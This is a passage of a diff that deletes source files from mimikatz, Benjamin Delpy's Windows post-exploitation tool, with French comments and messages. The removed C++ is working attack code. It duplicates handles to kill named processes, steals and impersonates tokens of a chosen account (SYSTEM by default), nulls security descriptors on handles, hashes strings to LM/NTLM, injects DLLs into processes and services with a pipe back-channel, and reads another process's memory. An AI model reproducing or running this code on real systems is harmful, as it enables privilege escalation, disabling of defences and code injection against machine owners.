mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32();
|
||||
if(mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess))
|
||||
(*outputStream) << setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right;
|
||||
delete processHote;
|
||||
}
|
||||
|
||||
(*outputStream) << L" -> " << setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << tokenType << L'\t';
|
||||
|
||||
if(isToken)
|
||||
{
|
||||
wstring userName, domainName;
|
||||
if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName))
|
||||
(*outputStream) << L'\t' << domainName << L'\\' << userName ;
|
||||
else (*outputStream) << mod_system::getWinError();
|
||||
}
|
||||
else if(isProcess)
|
||||
{
|
||||
DWORD monPid = GetProcessId(nouveauHandle);
|
||||
(*outputStream) << monPid;
|
||||
|
||||
if(isProcessList)
|
||||
{
|
||||
mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32();
|
||||
if(mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess))
|
||||
(*outputStream) << L'\t' << processKiwi->szExeFile;
|
||||
delete processKiwi;
|
||||
}
|
||||
}
|
||||
(*outputStream) << endl;
|
||||
}
|
||||
}
|
||||
CloseHandle(nouveauHandle);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
}
|
||||
else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl;
|
||||
|
||||
delete mesHandles;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_handle::processStop(vector<wstring> * arguments)
|
||||
{
|
||||
vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>();
|
||||
|
||||
bool isProcessList = mod_process::getList(mesProcess);
|
||||
vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>();
|
||||
|
||||
if(mod_system::getSystemHandles(mesHandles))
|
||||
{
|
||||
for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++)
|
||||
{
|
||||
HANDLE hProcess;
|
||||
if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId))
|
||||
{
|
||||
HANDLE nouveauHandle;
|
||||
if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
wstring tokenType;
|
||||
if(mod_system::getHandleType(nouveauHandle, &tokenType))
|
||||
{
|
||||
if(_wcsicmp(tokenType.c_str(), L"process") == 0)
|
||||
{
|
||||
if(isProcessList)
|
||||
{
|
||||
mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32();
|
||||
mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32();
|
||||
DWORD monPid = GetProcessId(nouveauHandle);
|
||||
if(
|
||||
mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess) &&
|
||||
mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess)
|
||||
)
|
||||
{
|
||||
|
||||
for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++)
|
||||
{
|
||||
if(_wcsicmp(processKiwi->szExeFile.c_str(), monProcessName->c_str()) == 0)
|
||||
{
|
||||
(*outputStream) <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " <<
|
||||
setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' <<
|
||||
monPid << L'\t' << processKiwi->szExeFile << endl;
|
||||
;
|
||||
|
||||
|
||||
(*outputStream) << L"\tTerminate Process - ";
|
||||
if(TerminateProcess(nouveauHandle, ERROR_SUCCESS) != 0)
|
||||
{
|
||||
(*outputStream) << L"OK";
|
||||
}
|
||||
else
|
||||
{
|
||||
(*outputStream) << L"KO ; " << mod_system::getWinError() << endl <<
|
||||
L"\tJob : ";
|
||||
|
||||
if(HANDLE monObject = CreateJobObject(NULL, NULL))
|
||||
{
|
||||
if(AssignProcessToJobObject(monObject, nouveauHandle))
|
||||
{
|
||||
(*outputStream) << L"TerminateJobObject - ";
|
||||
if(TerminateJobObject(monObject, ERROR_SUCCESS) != 0)
|
||||
{
|
||||
(*outputStream) << L"OK";
|
||||
}
|
||||
else (*outputStream) << L"KO ; " << mod_system::getWinError();
|
||||
}
|
||||
else (*outputStream) << L"AssignProcessToJobObject - KO ; " << mod_system::getWinError();
|
||||
CloseHandle(monObject);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
(*outputStream) << endl;
|
||||
}
|
||||
}
|
||||
}
|
||||
delete processKiwi;
|
||||
delete processHote;
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseHandle(nouveauHandle);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
}
|
||||
else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl;
|
||||
|
||||
delete mesHandles;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_handle::tokenImpersonate(vector<wstring> * arguments)
|
||||
{
|
||||
PNT_SET_INFORMATION_PROCESS NtSetInformationProcess = reinterpret_cast<PNT_SET_INFORMATION_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSetInformationProcess"));
|
||||
vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>();
|
||||
|
||||
bool isProcessList = mod_process::getList(mesProcess);
|
||||
vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>();
|
||||
|
||||
if(mod_system::getSystemHandles(mesHandles))
|
||||
{
|
||||
for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++)
|
||||
{
|
||||
HANDLE hProcess;
|
||||
if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId))
|
||||
{
|
||||
HANDLE nouveauHandle;
|
||||
if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
wstring tokenType;
|
||||
if(mod_system::getHandleType(nouveauHandle, &tokenType))
|
||||
{
|
||||
if(_wcsicmp(tokenType.c_str(), L"token") == 0)
|
||||
{
|
||||
if(isProcessList)
|
||||
{
|
||||
mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32();
|
||||
if(
|
||||
mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess)
|
||||
)
|
||||
{
|
||||
wstring userName, domainName;
|
||||
if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName))
|
||||
{
|
||||
if(_wcsicmp(userName.c_str(), (arguments->empty() ? L"system" : arguments->front().c_str())) == 0)
|
||||
{
|
||||
(*outputStream) <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " <<
|
||||
setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " <<
|
||||
setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' <<
|
||||
domainName << L'\\' << userName << L'\t';
|
||||
|
||||
if(mod_secacl::exchangeDupToken(&nouveauHandle))
|
||||
{
|
||||
if(ImpersonateLoggedOnUser(nouveauHandle))
|
||||
{
|
||||
(*outputStream) << L"ok !!" << endl;
|
||||
break;
|
||||
}
|
||||
else
|
||||
{
|
||||
(*outputStream) << L"ko - ImpersonateLoggedOnUser ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
(*outputStream) << L"ko - mod_secacl::exchangeDupToken ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
else (*outputStream) << mod_system::getWinError();
|
||||
}
|
||||
delete processHote;
|
||||
}
|
||||
}
|
||||
}
|
||||
CloseHandle(nouveauHandle);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
}
|
||||
else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl;
|
||||
|
||||
delete mesHandles;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_handle::nullAcl(vector<wstring> * arguments)
|
||||
{
|
||||
vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>();
|
||||
if(mod_system::getSystemHandles(mesHandles))
|
||||
{
|
||||
for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++)
|
||||
{
|
||||
HANDLE hProcess;
|
||||
if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId))
|
||||
{
|
||||
HANDLE nouveauHandle;
|
||||
if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
wstring tokenType;
|
||||
if(mod_system::getHandleType(nouveauHandle, &tokenType))
|
||||
{
|
||||
bool toACL = true;;
|
||||
if(!arguments->empty())
|
||||
toACL = find(arguments->begin(), arguments->end(), tokenType) != arguments->end();
|
||||
|
||||
if(toACL)
|
||||
(*outputStream) << monHandle->ProcessId << L'\t' << monHandle->Handle << L'\t' << tokenType << L"\t\t" << (mod_secacl::nullSdToHandle(&nouveauHandle) ? L"NULL !" : L"KO") << endl;
|
||||
}
|
||||
CloseHandle(nouveauHandle);
|
||||
}
|
||||
CloseHandle(hProcess);
|
||||
}
|
||||
}
|
||||
}
|
||||
else (*outputStream) << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl;
|
||||
|
||||
delete mesHandles;
|
||||
|
||||
return true;
|
||||
}
|
@ -1,23 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_system.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_secacl.h"
|
||||
#include <iostream>
|
||||
#include <algorithm>
|
||||
|
||||
class mod_mimikatz_handle
|
||||
{
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool list(vector<wstring> * arguments);
|
||||
static bool processStop(vector<wstring> * arguments);
|
||||
static bool tokenImpersonate(vector<wstring> * arguments);
|
||||
static bool nullAcl(vector<wstring> * arguments);
|
||||
};
|
@ -1,42 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_hash.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_hash::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(lm, L"lm", L"Hash LanManager (LM) d\'une chaîne de caractères"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(ntlm, L"ntlm", L"Hash NT LanManger (NTLM) d\'une chaîne de caractères"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_hash::lm(vector<wstring> * arguments)
|
||||
{
|
||||
wstring chaine, hash;
|
||||
|
||||
if(!arguments->empty())
|
||||
chaine = arguments->front();
|
||||
|
||||
if(mod_hash::lm(&chaine, &hash))
|
||||
(*outputStream) << L"LM(\'" << chaine << L"\') = " << hash << endl;
|
||||
else
|
||||
(*outputStream) << L"Erreur de calcul du hash LM" << endl;
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_hash::ntlm(vector<wstring> * arguments)
|
||||
{
|
||||
wstring chaine, hash;
|
||||
|
||||
if(!arguments->empty())
|
||||
chaine = arguments->front();
|
||||
|
||||
if(mod_hash::ntlm(&chaine, &hash))
|
||||
(*outputStream) << L"NTLM(\'" << chaine << L"\') = " << hash << endl;
|
||||
else
|
||||
(*outputStream) << L"Erreur de calcul du hash NTLM" << endl;
|
||||
return true;
|
||||
}
|
@ -1,18 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_hash.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_mimikatz_hash
|
||||
{
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool lm(vector<wstring> * arguments);
|
||||
static bool ntlm(vector<wstring> * arguments);
|
||||
};
|
@ -1,24 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_impersonate.h"
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_impersonate::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(revert, L"revert", L"RevertToSelf"));
|
||||
return monVector;
|
||||
}
|
||||
bool mod_mimikatz_impersonate::revert(vector<wstring> * arguments)
|
||||
{
|
||||
(*outputStream) << L"RevertToSelf : ";
|
||||
if(RevertToSelf())
|
||||
(*outputStream) << L"ok";
|
||||
else
|
||||
(*outputStream) << L"ko ; " << mod_system::getWinError();
|
||||
(*outputStream) << endl;
|
||||
|
||||
return true;
|
||||
}
|
@ -1,19 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_system.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_thread.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_mimikatz_impersonate
|
||||
{
|
||||
public:
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool revert(vector<wstring> * arguments);
|
||||
};
|
@ -1,119 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_inject.h"
|
||||
|
||||
mod_pipe * mod_mimikatz_inject::monCommunicator = NULL;
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_inject::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pid, L"pid", L"Injecte une librairire communicante dans un PID"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(process, L"process", L"Injecte une librairire communicante dans un processus"));
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(service, L"service", L"Injecte une librairire communicante dans un service"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_inject::process(vector<wstring> * arguments)
|
||||
{
|
||||
wstring processName = arguments->front();
|
||||
wstring fullLib = arguments->back();
|
||||
|
||||
mod_process::KIWI_PROCESSENTRY32 monProcess;
|
||||
if(mod_process::getUniqueForName(&monProcess, &processName))
|
||||
{
|
||||
(*outputStream) << L"PROCESSENTRY32(" << processName << L").th32ProcessID = " << monProcess.th32ProcessID << endl;
|
||||
injectInPid(monProcess.th32ProcessID, fullLib);
|
||||
}
|
||||
else (*outputStream) << L"Trop, ou pas de processus : \'" << processName << L"\' mod_process::getUniqueProcessForName : " << mod_system::getWinError() << endl;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_inject::service(vector<wstring> * arguments)
|
||||
{
|
||||
wstring serviceName = arguments->front();
|
||||
wstring fullLib = arguments->back();
|
||||
|
||||
mod_service::KIWI_SERVICE_STATUS_PROCESS monService;
|
||||
if(mod_service::getUniqueForName(&monService, &serviceName))
|
||||
{
|
||||
(*outputStream) << L"SERVICE(" << serviceName << L").serviceDisplayName = " << monService.serviceDisplayName << endl;
|
||||
(*outputStream) << L"SERVICE(" << serviceName << L").ServiceStatusProcess.dwProcessId = " << monService.ServiceStatusProcess.dwProcessId << endl;
|
||||
injectInPid(monService.ServiceStatusProcess.dwProcessId, fullLib);
|
||||
}
|
||||
else (*outputStream) << L"Service unique introuvable : \'" << serviceName << L"\' ; mod_service::getUniqueForName : " << mod_system::getWinError() << endl;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_inject::pid(vector<wstring> * arguments)
|
||||
{
|
||||
wstring strPid = arguments->front();
|
||||
wstring fullLib = arguments->back();
|
||||
|
||||
DWORD pid;
|
||||
wstringstream monStream(strPid);
|
||||
monStream >> pid;
|
||||
|
||||
injectInPid(pid, fullLib, !(arguments->size() >= 3));
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_inject::injectInPid(DWORD & pid, wstring & libPath, bool isComm)
|
||||
{
|
||||
bool reussite = false;
|
||||
|
||||
if(!isComm || (isComm && !monCommunicator))
|
||||
{
|
||||
if(reussite = mod_inject::injectLibraryInPid(pid, &libPath))
|
||||
{
|
||||
if(isComm)
|
||||
{
|
||||
wstring monBuffer = L"";
|
||||
|
||||
monCommunicator = new mod_pipe(L"kiwi\\mimikatz");
|
||||
(*outputStream) << L"Attente de connexion du client..." << endl;
|
||||
|
||||
if(monCommunicator->createServer())
|
||||
{
|
||||
(*outputStream) << L"Serveur connecté à un client !" << endl;
|
||||
if(monCommunicator->readFromPipe(monBuffer))
|
||||
{
|
||||
(*outputStream) << L"Message du processus :" << endl << monBuffer << endl;
|
||||
}
|
||||
else
|
||||
{
|
||||
(*outputStream) << L"Erreur : Impossible de lire le premier message ! ; " << mod_system::getWinError() << endl;
|
||||
closeThisCommunicator();
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
(*outputStream) << L"Erreur : Impossible de créer un canal de communication ! ; " << mod_system::getWinError() << endl;
|
||||
closeThisCommunicator();
|
||||
}
|
||||
}
|
||||
else
|
||||
(*outputStream) << L"Injecté sans communication (legacy)" << endl;
|
||||
} else (*outputStream) << L"Erreur : Impossible d\'injecter ! ; " << mod_system::getWinError() << endl;
|
||||
}
|
||||
else (*outputStream) << L"Erreur : un canal de communicaton est déjà ouvert" << endl;
|
||||
|
||||
return reussite;
|
||||
}
|
||||
|
||||
|
||||
bool mod_mimikatz_inject::closeThisCommunicator()
|
||||
{
|
||||
if(monCommunicator)
|
||||
{
|
||||
(*outputStream) << L"Fermeture du canal de communication" << endl;
|
||||
delete monCommunicator;
|
||||
monCommunicator = NULL;
|
||||
}
|
||||
return true;
|
||||
}
|
@ -1,33 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_inject.h"
|
||||
#include "mod_system.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_service.h"
|
||||
#include "mod_pipe.h"
|
||||
#include <iostream>
|
||||
|
||||
class mod_mimikatz_inject
|
||||
{
|
||||
private:
|
||||
static bool injectInPid(DWORD & pid, wstring & libPath, bool isComm = true);
|
||||
static void startComm();
|
||||
|
||||
public:
|
||||
static mod_pipe * monCommunicator;
|
||||
static bool closeThisCommunicator();
|
||||
|
||||
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
|
||||
|
||||
static bool pid(vector<wstring> * arguments);
|
||||
static bool process(vector<wstring> * arguments);
|
||||
static bool service(vector<wstring> * arguments);
|
||||
|
||||
static bool injectlegacy(vector<wstring> * arguments);
|
||||
|
||||
};
|
@ -1,139 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#include "mod_mimikatz_minesweeper.h"
|
||||
|
||||
char DISP_MINESWEEPER[] = "012345678.F? !!";
|
||||
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_minesweeper::getMimiKatzCommands()
|
||||
{
|
||||
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
|
||||
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le démineur en cours"));
|
||||
return monVector;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_minesweeper::infos(vector<wstring> * arguments)
|
||||
{
|
||||
structHandleAndAddr * maStruct = new structHandleAndAddr();
|
||||
if(giveHandleAndAddr(maStruct))
|
||||
{
|
||||
STRUCT_MINESWEEPER_GAME monGame;
|
||||
if(mod_memory::readMemory(maStruct->G, &monGame, sizeof(STRUCT_MINESWEEPER_GAME), maStruct->hMineSweeper))
|
||||
{
|
||||
#ifdef _M_IX86
|
||||
if(mod_system::GLOB_Version.dwBuildNumber >= 7000)
|
||||
monGame.pBoard = monGame.pBoard_WIN7x86;
|
||||
#endif
|
||||
STRUCT_MINESWEEPER_BOARD monBoard;
|
||||
if(mod_memory::readMemory(monGame.pBoard, &monBoard, sizeof(STRUCT_MINESWEEPER_BOARD), maStruct->hMineSweeper))
|
||||
{
|
||||
(*outputStream) << L"Mines : " << monBoard.nbMines << endl <<
|
||||
L"Dimension : " << monBoard.nbLignes << L" lignes x " << monBoard.nbColonnes << L" colonnes" << endl <<
|
||||
L"Champ : " << endl << endl;
|
||||
|
||||
char ** monTableau;
|
||||
monTableau = new char*[monBoard.nbLignes];
|
||||
for(DWORD l = 0; l < monBoard.nbLignes; l++)
|
||||
monTableau[l] = new char[monBoard.nbColonnes];
|
||||
|
||||
parseField(maStruct, monBoard.ref_visibles, monTableau, true);
|
||||
parseField(maStruct, monBoard.ref_mines, monTableau, false);
|
||||
|
||||
for(DWORD l = 0; l < monBoard.nbLignes; l++)
|
||||
{
|
||||
(*outputStream) << L'\t';
|
||||
for(DWORD c = 0; c < monBoard.nbColonnes; c++)
|
||||
(*outputStream) << monTableau[l][c] << L' ';
|
||||
(*outputStream) << endl;
|
||||
delete[] monTableau[l];
|
||||
}
|
||||
delete[] monTableau;
|
||||
} else (*outputStream) << L"Impossible de lire les données du plateau" << endl;
|
||||
} else (*outputStream) << L"Impossible de lire les données du jeu" << endl;
|
||||
CloseHandle(maStruct->hMineSweeper);
|
||||
}
|
||||
delete maStruct;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_minesweeper::parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible)
|
||||
{
|
||||
DWORD tailleElementFinal = isVisible ? sizeof(DWORD) : sizeof(BYTE);
|
||||
|
||||
STRUCT_MINESWEEPER_REF_ELEMENT maRefElements;
|
||||
if(mod_memory::readMemory(laBase, &maRefElements, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper))
|
||||
{
|
||||
PSTRUCT_MINESWEEPER_REF_ELEMENT * ref_colonnes_elements = new PSTRUCT_MINESWEEPER_REF_ELEMENT[maRefElements.nbElements];
|
||||
if(mod_memory::readMemory(maRefElements.elements, ref_colonnes_elements, maRefElements.nbElements * sizeof(PSTRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper))
|
||||
{
|
||||
for(DWORD c = 0; c < maRefElements.nbElements; c++)
|
||||
{
|
||||
STRUCT_MINESWEEPER_REF_ELEMENT maRefColonneElement;
|
||||
if(mod_memory::readMemory(ref_colonnes_elements[c], &maRefColonneElement, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper))
|
||||
{
|
||||
void * cellules = isVisible ? reinterpret_cast<void *>(new DWORD[maRefColonneElement.nbElements]) : reinterpret_cast<void *>(new BYTE[maRefColonneElement.nbElements]);
|
||||
if(mod_memory::readMemory(maRefColonneElement.elements, cellules, maRefColonneElement.nbElements * tailleElementFinal, monHandleAndAddr->hMineSweeper))
|
||||
{
|
||||
for(DWORD l = 0; l < maRefColonneElement.nbElements; l++)
|
||||
{
|
||||
if(isVisible)
|
||||
monTableau[l][c] = DISP_MINESWEEPER[reinterpret_cast<DWORD *>(cellules)[l]];
|
||||
else
|
||||
if(reinterpret_cast<BYTE *>(cellules)[l]) monTableau[l][c] = '*';
|
||||
}
|
||||
} else (*outputStream) << L"Impossible de lire les élements de la colonne : " << c << endl;
|
||||
delete[] cellules;
|
||||
} else (*outputStream) << L"Impossible de lire les références de la colonne : " << c << endl;
|
||||
}
|
||||
} else (*outputStream) << L"Impossible de lire les références des colonnes" << endl;
|
||||
delete[] ref_colonnes_elements;
|
||||
} else (*outputStream) << L"Impossible de lire les références de l\'élement" << endl;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
bool mod_mimikatz_minesweeper::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr)
|
||||
{
|
||||
#ifdef _M_X64
|
||||
BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x48, 0x89, 0x44, 0x24, 0x70, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0x48, 0x8b, 0xc8, 0xe8};
|
||||
LONG OFFS_WIN6_ToG = -(5 + 5 + 6 + 4 + 1);
|
||||
#elif defined _M_IX86
|
||||
BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x84, 0xc0, 0x75, 0x07, 0x6a, 0x67, 0xe8};
|
||||
LONG OFFS_WIN6_ToG = sizeof(PTRN_WIN6_Game_SafeGetSingleton) + 4 + 1;
|
||||
#endif
|
||||
RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr));
|
||||
|
||||
wstring nomDemineur(L"minesweeper.exe");
|
||||
mod_process::KIWI_PROCESSENTRY32 monDemineur;
|
||||
if(mod_process::getUniqueForName(&monDemineur, &nomDemineur))
|
||||
{
|
||||
monHandleAndAddr->pidMineSweeper = monDemineur.th32ProcessID;
|
||||
mod_process::KIWI_MODULEENTRY32 monModule;
|
||||
if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID))
|
||||
{
|
||||
PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL;
|
||||
if(monHandleAndAddr->hMineSweeper = OpenProcess(PROCESS_VM_READ, false, monHandleAndAddr->pidMineSweeper))
|
||||
if(mod_memory::searchMemory(monModule.modBaseAddr, limit, PTRN_WIN6_Game_SafeGetSingleton, &ptrTemp, sizeof(PTRN_WIN6_Game_SafeGetSingleton), true, monHandleAndAddr->hMineSweeper))
|
||||
{
|
||||
#ifdef _M_X64
|
||||
long offsetTemp = 0;
|
||||
if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &offsetTemp, sizeof(offsetTemp), monHandleAndAddr->hMineSweeper))
|
||||
mod_memory::readMemory((ptrTemp + OFFS_WIN6_ToG) + sizeof(long) + offsetTemp + 1, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper);
|
||||
#elif defined _M_IX86
|
||||
if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &ptrTemp, sizeof(ptrTemp), monHandleAndAddr->hMineSweeper))
|
||||
mod_memory::readMemory(ptrTemp, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bool reussite = monHandleAndAddr->hMineSweeper && monHandleAndAddr->G;
|
||||
|
||||
if(!reussite && monHandleAndAddr->hMineSweeper)
|
||||
CloseHandle(monHandleAndAddr->hMineSweeper);
|
||||
|
||||
return reussite;
|
||||
}
|
@ -1,72 +0,0 @@
|
||||
/* Benjamin DELPY `gentilkiwi`
|
||||
http://blog.gentilkiwi.com
|
||||
benjamin@gentilkiwi.com
|
||||
Licence : http://creativecommons.org/licenses/by/3.0/fr/
|
||||
*/
|
||||
#pragma once
|
||||
#include "globdefs.h"
|
||||
#include "mod_process.h"
|
||||
#include "mod_memory.h"
|
||||
#include "mod_system.h"
|
||||
#include <iostream>
|
||||
